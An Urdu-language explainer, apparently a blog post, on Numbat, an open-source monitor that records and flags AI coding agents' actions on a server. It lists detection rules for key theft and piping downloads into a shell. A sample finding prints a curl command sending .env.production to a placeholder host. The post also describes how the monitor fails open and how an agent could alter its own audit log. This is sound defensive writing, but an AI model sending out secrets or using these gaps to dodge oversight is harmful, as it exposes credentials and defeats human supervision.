Numbat: AI agent نے سرور پر کیا کیا؟

Numbat کیا ہے

Numbat آپ کو یہ جاننے کی سہولت دیتا ہے کہ آپ کی ملکیت والی مشین پر کسی AI agent نے کیا کیا۔ یہ ان hook callbacks اور session files کو پڑھتا ہے جو coding agents پہلے ہی تیار کرتے ہیں، انہیں ایک ہی event format میں معمول پر لاتا ہے، اور پھر ان کا ان rules کے ساتھ موازنہ کرتا ہے جو ایسے رویوں پر فعال ہوتے ہیں، جیسے SSH private key پڑھنا یا کسی download کو براہ راست shell میں pipe کرنا۔ Perplexity نے اسے Apache 2.0 کے تحت open source کے طور پر جاری کیا، اور پہلی tagged release 29 July 2026 کو جاری ہوئی۔

ذیل کی تمام معلومات project کی repository اور اس کی اپنی documentation سے لی گئی ہیں، جن کا مطالعہ 2 August 2026 کو کیا گیا۔ جہاں Perplexity کوئی دعویٰ کرتا ہے، وہاں یہ تحریر اسی کی نسبت سے بات کرتی ہے۔ یہ install tutorial نہیں ہے، کیونکہ repository ابھی چند دن پرانی ہے اور اس کے commands تبدیل ہوں گے۔

مسئلہ: ایجنٹ نے کیا کیا، یہ کوئی درج نہیں کرتا

آپ کے VPS پر موجود coding agent shell commands چلاتا ہے، files پڑھتا ہے، files لکھتا ہے اور network connections کھولتا ہے، اور یہ سب اسی user کے طور پر کرتا ہے جس کے اختیار میں آپ نے اسے دیا ہے۔ آپ کی shell history میں ان میں سے کچھ بھی درج نہیں ہوتا، کیونکہ ایجنٹ آپ کے shell میں ٹائپ نہیں کر رہا ہوتا۔ sshd صرف آپ کے login کو log کرتا ہے، اس کے بعد model نے جو کچھ کرنے کا فیصلہ کیا ہو اسے نہیں۔ /var/log/auth.log اس وقت تک خاموش رہتا ہے جب تک کوئی چیز sudo تک رسائی حاصل نہ کرے۔ ایجنٹ اپنا transcript رکھتا ہے، لیکن وہ file ایجنٹ کی session directory میں موجود ہوتی ہے، اس کا format releases کے درمیان تبدیل ہوتا رہتا ہے، اور ایجنٹ کا اپنا process اس میں لکھ سکتا ہے۔

لہٰذا جب کوئی پوچھتا ہے کہ ایجنٹ نے گزشتہ منگل کو .env.production پڑھا تھا یا نہیں، تو زیادہ تر servers پر دیانت دار جواب یہ ہے کہ آپ بتا نہیں سکتے۔ یہی خلا اس project کے وجود کی وجہ ہے۔

Perplexity کا دعویٰ: Numbat کیا کرتا ہے

README کا آغاز اس وضاحت سے ہوتا ہے کہ یہ ٹول "AI agent کی سرگرمی کے بارے میں endpoint visibility، مقامی detection، اختیاری pre-action blocking، اور forensic reconstruction" فراہم کرتا ہے۔ یہاں endpoint سے مراد وہ machine ہے جس پر agent چلتا ہے، نہ کہ باہر سے نگرانی کرنے والا network appliance۔ یہ الگ الگ صلاحیتیں ہیں، اور ان کی اہمیت بھی مختلف ہے۔

Detection device پر چلتا ہے۔ Rules کو CEL (common expression language) میں لکھا جاتا ہے اور مقامی طور پر evaluate کیا جاتا ہے۔ اس کے علاوہ multi-step sequence rules اور YAML میں اپنی rules لکھنے کی سہولت بھی موجود ہے۔ کسی rule کے فعال ہونے کے لیے کوئی چیز machine سے باہر نہیں بھیجنی پڑتی۔

Blocking اختیاری اور محدود ہے۔ یہ صرف synchronous pre-action hooks کے ذریعے کام کرتا ہے، اور صرف ان agents پر جو ایسا hook فراہم کرتے ہیں۔ اسے فعال کرنے تک یہ بند رہتا ہے۔

Reconstruction واقعے کے بعد ہوتی ہے۔ numbat scan ان session artifacts کو parse کرتا ہے جو agent پہلے ہی disk پر لکھ چکا ہو، اس لیے آپ کسی چیز کو install کرنے سے پہلے کی سرگرمی بھی دیکھ سکتے ہیں۔ Project اس دعوے کی حدود واضح کرتا ہے: "At-rest reconstruction، disk یا memory acquisition نہیں ہے، اور ایسی سرگرمی بحال نہیں کر سکتی جسے agent نے persist نہ کیا ہو۔"

Output versioned NDJSON (newline delimited JSON) ہوتا ہے، جس میں events، findings، enforcement decisions، indicators اور scan summaries شامل ہوتے ہیں۔ v0.1.2 کے مطابق schema version 0.2.0 ہے۔ Records stdout یا local file میں لکھے جاتے ہیں، اور اختیاری طور پر آپ کے چلائے ہوئے collector کو HTTP کے ذریعے بھی بھیجے جا سکتے ہیں۔ یہ cgo کے بغیر built کیا گیا ایک static Go binary کے طور پر فراہم ہوتا ہے، جو amd64 اور arm64 پر macOS، Linux اور Windows کے لیے دستیاب ہے۔ اس لیے Linux VPS پر یہ ایک single file ہے، اور پہلے کسی runtime کو install کرنے کی ضرورت نہیں ہوتی۔

Numbat کن agents کو حقیقت میں دیکھ سکتا ہے؟

docs/agent-coverage.md میں موجود کوریج میٹرکس مستند فہرست ہے، اور اس میں یکساں کوریج نہیں ہے۔ پروجیکٹ اس بات کو واضح طور پر بیان کرتا ہے، اسے چھپاتا نہیں۔ Claude Code، Codex، Gemini CLI، Cursor اور GitHub Copilot CLI میں artifact scanning اور pre-action hook کے ساتھ live capture دونوں دستیاب ہیں۔ OpenClaw کو version 2026.7.1 اور اس کے بعد native plugin ملتا ہے۔ بہت سی دیگر entries کو deferred نشان زد کیا گیا ہے۔ اس کا مطلب ہے کہ live hook path موجود ہے، لیکن artifact parser موجود نہیں۔ اکثر اس کی وجہ یہ ہوتی ہے کہ agent اپنی history کو SQLite میں write-ahead log کے ساتھ محفوظ کرتا ہے، جسے agent کے چلنے کے دوران محفوظ طریقے سے پڑھا نہیں جا سکتا۔ 2 August 2026 کو matrix پڑھے جانے کے وقت OpenCode اور Cline اسی گروپ میں شامل تھے۔

اس tool کے حوالے سے کوئی منصوبہ بنانے سے پہلے اپنے agent کی row چیک کریں، کیونکہ تقریباً ہر row میں "supported" کا مطلب مختلف ہے۔

شناخت کی صورت

قواعد میں ایسے ids ہوتے ہیں جو بتاتے ہیں کہ وہ کس مقصد کے لیے ہیں۔ secrets.read_private_key میں SSH key، AWS credentials، kube config یا package registry login شامل ہوتا ہے۔ جب curl یا wget کا output کسی interpreter کو pipe کیا جاتا ہے تو exec.download_pipe_shell فعال ہوتا ہے۔ sudo، doas، su یا pkexec کے ذریعے interactive root shell کی درخواست کو privilege.elevated_shell شناخت کرتا ہے۔ impact.cryptomining_launch معروف miner binaries اور image names سے مطابقت رکھتا ہے۔

Sequence rules ایک ہی session کے اندر ہونے والے events کو جوڑتے ہیں۔ chain.secret_read_then_egress کے لیے پہلے secret file پڑھنا اور اس کے بعد data کو باہر بھیجنے والی command درکار ہوتی ہے۔ README میں ذیل میں دیا گیا finding دو Claude Code pre-action callbacks کے controlled replay سے حاصل کیا گیا ہے، نہ کہ کسی live incident سے۔ یہاں اسے صرف ان fields تک محدود کیا گیا ہے جو اہم ہیں:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Record کے اندر موجود "confidence": "medium" پر غور کریں، اور اس پوری output class کے بارے میں project کے بیان کو بھی نوٹ کریں: "Findings are rule matches, not proof of compromise." Deploy script جو key پڑھ کر build artifact upload کرتی ہے، اسی sequence rule سے match کرے گی۔ Match درست ہے، لیکن alarm غلط ہے۔ آپ نے اب تک جو بھی detection tool چلایا ہے، اس میں یہی معمول کی صورتِ حال ہوتی ہے۔

بلاک کرنا طے شدہ طور پر غیر فعال ہے، اور ناکامی کی صورت میں اجازت دے دی جاتی ہے

Numbat کے ساتھ فراہم کیا جانے والا ہر rule صرف نگرانی کے لیے ہوتا ہے۔ اسے بلاک کرنے والے rule میں تبدیل کرنا جان بوجھ کر کیا جانے والا کام ہے: rule کا مکمل YAML اپنی directory میں copy کریں، وہی id برقرار رکھیں، enforce: true شامل کریں، version بڑھائیں، پھر اس policy کی validation اور installation کریں۔

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

اب وہ حصہ جو طے کرتا ہے کہ آپ کو اس پر کتنا اعتماد کرنا چاہیے۔ Numbat کا deny، agent کو واپس بھیجا جانے والا response ہے، اور tool call کو حقیقت میں مسترد agent کرتا ہے۔ Enforcement guide واضح طور پر بتائی گئی ہے کہ Numbat کو خود مسئلہ پیش آنے پر کیا ہوتا ہے: "Malformed payloads، متعلقہ evaluation errors، panics، اور output failures، numbat deny کو روک دیتے ہیں۔" Hook input کی حد 4 MiB ہے، اور حد سے زیادہ input بھی اسی راستے سے گزرتا ہے۔

Guide اس deny کی حد بھی واضح طور پر بیان کرتی ہے جو موصول ہو جائے: "Fail-open کا مطلب ہے کہ numbat اپنا deny response روک لیتا ہے۔ اس کی ضمانت نہیں دی جاتی کہ tool execute ہو گا: host پھر بھی prompt دکھا سکتا ہے، deny کر سکتا ہے، timeout ہو سکتا ہے، یا کوئی دوسرا hook یا policy لاگو کر سکتا ہے۔"

اس لیے یہاں enforcement ایک حفاظتی رکاوٹ ہے، مکمل حد بندی نہیں۔ اگر process crash ہو جائے تو action کو Numbat بلاک نہیں کرتا، کیونکہ ایسا monitor جو ہر خرابی پر آپ کے agent کو روک دے، ایک ہفتے کے اندر uninstall کر دیا جائے گا۔ یہ سمجھوتا مناسب ہے۔ لیکن ایسا security model نہ بنائیں جو یہ فرض کرے کہ deny ہمیشہ موصول ہو گا۔

Numbat آپ کے موجودہ طریقۂ کار کے ساتھ کہاں موزوں ہے

Numbat endpoint پر، agent کے اپنے process tree کے اندر چلتا ہے اور بطور ڈیفالٹ ~/.numbat/records.ndjson میں لکھتا ہے۔ آپ کے user کے طور پر چلنے والا agent اس فائل کو پڑھ سکتا ہے۔ وہ اس میں ترمیم بھی کر سکتا ہے۔ Audit trail کی قدر اتنی ہی ہوتی ہے جتنی اس کے گرد موجود isolation کی۔ اس لیے آپ کے موجودہ تمام controls اس control سے پہلے ہونے چاہییں، بعد میں نہیں۔

Coding agent کے لیے عارضی VM دینا یہ محدود کرتا ہے کہ کوئی خراب run کہاں تک پہنچ سکتا ہے۔ VPS پر least privilege user agent کو ان فائلوں سے دور رکھتا ہے جنہیں کھولنے کا اسے کوئی اختیار نہیں۔ Credentials کو agent کے context سے باہر رکھنا ہی secrets.read_private_key کو اتنا نایاب بناتا ہے کہ trigger ہونے پر اسے پڑھنا مفید ہو۔ اور VPS پر Claude Code کے لیے قائم کیا گیا sandbox اب بھی containment انجام دینے والا بنیادی نظام ہے۔

Numbat جو چیز شامل کرتا ہے وہ record ہے۔ اس لیے record کو ایسی جگہ بھیجیں جہاں agent نہ پہنچ سکے۔ numbat ship اور HTTP sink اسی مقصد کے لیے موجود ہیں۔ دوسرے machine پر stream کی ایک copy، log file اور evidence کے درمیان بنیادی فرق ہے۔ Event model میں MCP (model context protocol) fields بھی شامل ہوتے ہیں۔ اس لیے VPS پر host کیا گیا MCP server کے ذریعے باہر جانے والی tool calls، local shell commands کے ساتھ اسی stream میں آتی ہیں۔ یہ اہم ہے کیونکہ صرف bash کی نگرانی کرنے والے کسی بھی نظام کو یہ راستہ نظر نہیں آتا۔

پہلے صرف پڑھنے کے موڈ میں آزمائیں

مخصوص ورژن انسٹال کریں۔ go install کے لیے Go 1.26.5 یا اس کے بعد کا ورژن درکار ہے۔ اگر آپ source سے build نہیں کرنا چاہتے تو releases page میں SHA-256 checksums کے ساتھ پہلے سے build شدہ binaries موجود ہیں۔

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents مشین پر انسٹال شدہ agents تلاش کرتا ہے۔ numbat scan پہلے سے disk پر موجود session artifacts کو parse کرتا ہے اور records دکھاتا ہے۔ README کے مطابق یہ commands "hooks انسٹال یا agent configuration تبدیل نہیں کرتیں"، اور numbat "artifacts میں موجود agents یا commands کو کبھی execute نہیں کرتا، نیز صرف configured HTTP sinks کو outbound requests بھیجتا ہے"۔ Scanning secret redaction کے ساتھ read-only ہوتی ہے، اور عام record output میں کبھی مکمل raw transcript شامل نہیں ہوتا۔

Live capture اگلا مرحلہ ہے، اور یہ agent configuration تبدیل کرتا ہے:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all events، findings، indicators اور قابل اطلاق enforcement decisions کو ~/.numbat/records.ndjson میں لکھتا ہے۔ project کی دو اہم احتیاطیں ہیں۔ Hooks کو مکمل طور پر چلنے سے پہلے agent کے اندر trusted بنانا ضروری ہو سکتا ہے، اور --enforce جیسے flags تبدیل کرنے کے بعد اس trust کا دوبارہ جائزہ لینا ہوگا۔ نیز hook status "configuration کی تصدیق کرتا ہے، execution یا delivery کی نہیں"، اس لیے healthy status line اس بات کا ثبوت نہیں کہ records کہیں پہنچ رہے ہیں۔

اتنا نیا repository dependency کیوں نہیں ہے

عوامی releases 29 July 2026 کو v0.1.1 اور 1 August 2026 کو v0.1.2 ہیں۔ 2 August 2026 کو یہ post لکھے جانے کے وقت repository کے 597 stars تھے۔ اتنی تیزی سے بڑھنے والی تعداد code کے مستحکم ہونے کے بجائے Perplexity کی audience کو ظاہر کرتی ہے۔ star کا مطلب ہے کہ کسی نے صفحہ بعد میں دیکھنے کے لیے محفوظ کیا ہے۔

version number واضح طور پر بتاتا ہے کہ یہ project کس مرحلے میں ہے۔ v0.1.2 کے notes میں زیادہ تر credential redaction fixes شامل ہیں، اس کے علاوہ case bundle اور telemetry normalization کا کام ہے۔ ایسے tool میں redaction bugs ابتدائی defects کی متوقع صورت ہیں جس کا کام دوسرے programs کے transcripts کو محفوظ طریقے سے پڑھنا ہے۔ ایسے bugs مزید بھی ہوں گے، کیونکہ input ایک درجن agents سے آتا ہے اور ہر agent اپنا format اپنے شیڈول کے مطابق تبدیل کرتا ہے۔

اس سے دو عملی اصول اخذ ہوتے ہیں۔ جن چیزوں کو برقرار رکھنا ہو ان میں ہمیشہ tag pin کریں، @latest کو نہیں۔ اور کم از کم اس وقت تک اسے ایسے instrument سمجھیں جس کا جائزہ لیا جا رہا ہے، نہ کہ ایسے control کے طور پر جس پر آپ انحصار کرتے ہیں، جب تک record schema میں تبدیلیاں رک نہ جائیں۔

FAQ

کیا Numbat خطرناک AI agent commands کو روکتا ہے؟

صرف اس صورت میں جب آپ اسے فعال کریں، اور تب بھی یہ صرف best effort بنیاد پر کام کرتا ہے۔ Numbat کے ساتھ فراہم کیا جانے والا ہر rule صرف نگرانی کرتا ہے۔ روکنے کے لیے rule کے YAML کو اپنی directory میں copy کریں، اس کا id برقرار رکھیں، enforce: true شامل کریں، version بڑھائیں، اور --enforce کے ساتھ hook install کریں۔ اس کے باوجود deny ایک response کے طور پر agent کو واپس بھیجا جاتا ہے، اور call مسترد کرنے کا فیصلہ agent ہی کرتا ہے۔ project fail-open رویے کو دستاویزی شکل دیتا ہے: malformed payloads، evaluation errors، panics اور output failures سب deny کو دبا دیتے ہیں۔ اسے guardrail کے طور پر استعمال کریں، اپنی واحد حفاظتی حد کے طور پر نہیں۔

Numbat کن AI agents کو support کرتا ہے؟

ہر agent کے لیے coverage مختلف ہے اور repository میں docs/agent-coverage.md میں درج ہے۔ جب اس صفحے کو 2 August 2026 کو پڑھا گیا، تو Claude Code، Codex، Gemini CLI، Cursor اور GitHub Copilot CLI میں artifact scanning اور live capture دونوں موجود تھے، جبکہ OpenClaw میں version 2026.7.1 سے native plugin موجود ہے۔ بہت سے دیگر agents کے لیے live hook path درج ہے، لیکن ابھی artifact parser موجود نہیں۔ عموماً اس کی وجہ یہ ہے کہ ان کی session history SQLite database میں ہوتی ہے، جسے agent کے چلنے کے دوران محفوظ طریقے سے پڑھا نہیں جا سکتا۔ اپنے agent کی row پڑھیں، کیونکہ وہاں "supported" کا لفظ کئی مختلف سطحوں کو ظاہر کرتا ہے۔

کیا agent Numbat کے records میں چھیڑ چھاڑ کر سکتا ہے؟

ہاں، اگر یہ اسی user کے طور پر چل رہا ہو۔ Records بطور default agent والی اسی machine پر ~/.numbat/records.ndjson میں محفوظ ہوتے ہیں، اس لیے جس چیز کو اس path تک write access حاصل ہو وہ records کو تبدیل یا حذف کر سکتی ہے۔ stream کو ایسے collector تک بھیجیں جس تک agent رسائی نہ رکھتا ہو۔ اس کے لیے numbat ship یا HTTP sink استعمال کریں، اور local file کو سہولت کے لیے copy کے طور پر برقرار رکھیں۔ اسی وجہ سے یہ tool isolation کی تکمیل کرتا ہے، اس کی جگہ نہیں لیتا۔ least privilege user کے تحت disposable VM میں محدود agent کو اپنے audit trail تک بہت کم رسائی حاصل ہوتی ہے۔

کیا Numbat production server کے لیے تیار ہے؟

ایسے control کے طور پر نہیں جس پر آپ انحصار کریں۔ پہلی public release v0.1.1، 29 July 2026 کو جاری ہوئی، اور v0.1.2 اس کے بعد 1 August 2026 کو جاری ہوئی۔ اس لیے flags اور record schema دونوں ابھی تبدیل ہو رہے ہیں۔ کسی machine پر numbat agents اور numbat scan چلانا read-only اور کم خطرے والا عمل ہے، اور اس سے معلوم ہو جائے گا کہ آپ کے agents disk پر کیا چھوڑ رہے ہیں۔ اہم server پر enforcement hooks install کرنا ایک مختلف فیصلہ ہے۔ اس کے لیے pinned tag اور hook کے خراب رویے کی صورت میں ہونے والے عمل کا plan ضروری ہے۔